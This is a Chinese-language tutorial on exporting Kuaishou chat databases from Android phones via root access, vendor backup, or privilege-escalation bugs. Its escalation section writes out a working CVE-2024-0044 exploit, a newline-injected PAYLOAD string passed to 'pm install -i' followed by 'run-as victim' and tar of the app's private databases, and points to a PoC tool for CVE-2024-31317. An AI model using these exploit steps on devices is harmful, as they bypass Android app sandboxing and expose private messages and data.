跳转至

数据库文件导出

此教程不仅适用于快手数据库导出,也可用于其他软件如QQ,微信,抖音的数据导出。

快手的聊天记录存储在以下路径: data/user/0/com.smile.gifmaker/databases/<用户id>imsdk.db

这里的<用户id>是一大串数字,也就是你初始的快手号。

数据库没有加密,打开就能看,这一点好评,比QQ,微信,抖音之类的平台方便多了。

Root 设备获取方法:

直接使用MT管理器复制出来即可,也可以用ADB命令复制到电脑上。

非 Root 设备:

1. 使用手机厂商的官方备份功能获取

这里以小米(HyperOS)为例 * 打开 设置 > 我的设备 > 备份与恢复。 * 进入"第三方应用与应用数据",找到并勾选"快手/快手极速版",开始备份。 * 备份完成后,找到目录下.bak备份文件,由于这个文件不是标准的压缩包,需要使用MT管理器解压并导出/apps/<包名>/db/下的数据库文件。 bakfilehxd

2. 通过提权漏洞获取

!!! warning "高风险操作警告" 此类方法涉及利用系统底层漏洞,需要一定的 ADB 和 Linux 基础。操作不当可能导致设备重启或卡死,请确保数据已备份,谨慎使用!

### CVE-2024-0044
适用范围:Android 12-13,且未收到 2024年3月 安全更新。
原理:利用 run-as 漏洞绕过调试限制,伪装成快手 APP 自身的权限来读取数据。

操作步骤

  • 打开USB调试通过允许USB安装应用 adb

  • 随便找一个apk安装包,是什么无所谓,能在你手机上安装就行,我这里用原教程的(https://f-droid.org/),将其推送到手机上

    adb push F-Droid.apk /data/local/tmp/
    

  • 以下步骤都是在shell里运行的
    首先获取应用的uid

adb shell

pm list packages -U|grep com.smile.gifmaker    ##快手
pm list packages -U|grep com.kuaishou.nebula   ##快手极速版
* 把获取到的uid填充到下面的文本里,可能需要用到一个文本编辑器来中转
PAYLOAD="@null 
victim 应用uid 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
注意:PAYLOAD="@null后面有个空格,紧接着一个换行
如果输出Success就说明成功了 * 由于在安卓13这个权限无法读写外部目录,需要创建一个临时文件来导出
mkdir /data/local/tmp/ks/
touch /data/local/tmp/ks/ks.tar
chmod -R 0777  /data/local/tmp/ks/
* 以目标应用身份运行,提取数据库
run-as victim
tar -cf /data/local/tmp/ks/ks.tar com.smile.gifmaker/databases   #快手
tar -cf /data/local/tmp/ks/ks.tar com.kuaishou.nebula/databases  #快手极速版
* ctrl+D退出shell,导出文件
adb pull /data/local/tmp/ks/ks.tar
* 可选删除临时文件

参考教程 Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044

CVE-2024-31317

安卓9-13 未收到2024年6月安全补丁
工具仓库 wqry085/PoC-Deployer-System

使用教程 * 在工具仓库里下载apk并安装并授予shizuku权限 shizuku

  • 进入软件,同意使用条款,启动服务 socket

  • 通过列表选择注入快手/快手极速版 appuid

  • 点击执行命令,如果成功,在日志输出一栏会有以下输出(uid不同输出也会不同)
    恭喜你,此工具在你的设备上可用! log

  • 由于权限限制,需要先用MT管理器在/data/local/tmp/目录下创建ks.tar临时文件,并赋予777权限。
    tarfile

  • 在这里根据快手包名输入命令
    shell

    tar -cf /data/local/tmp/ks.tar /data/user/0/com.smile.gifmaker/databases/
    
    tar -cf /data/local/tmp/ks.tar /data/user/0/com.kuaishou.nebula/databases/
    

  • 执行命令后这个文件有大小,能打开就说明成功了!
    kstar
    复制到电脑上即可

检验数据库完整性

在运行脚本之前,建议先简单检查一下导出的 imsdk.db 是否损坏,避免脚本报错。

1. 检查文件大小
如果文件大小是 0 KB,说明导出失败了,请重新尝试。正常的聊天数据库通常在几 MB 到几十 MB 之间,取决于你的聊天频率。不过我从来没见过超过110MB的文件,可能是超过这个大小直接重置了。

2. 查看表结构
推荐使用开源软件 SQLiteStudio 打开数据库文件

如果能正常打开且有数据,说明数据库完好。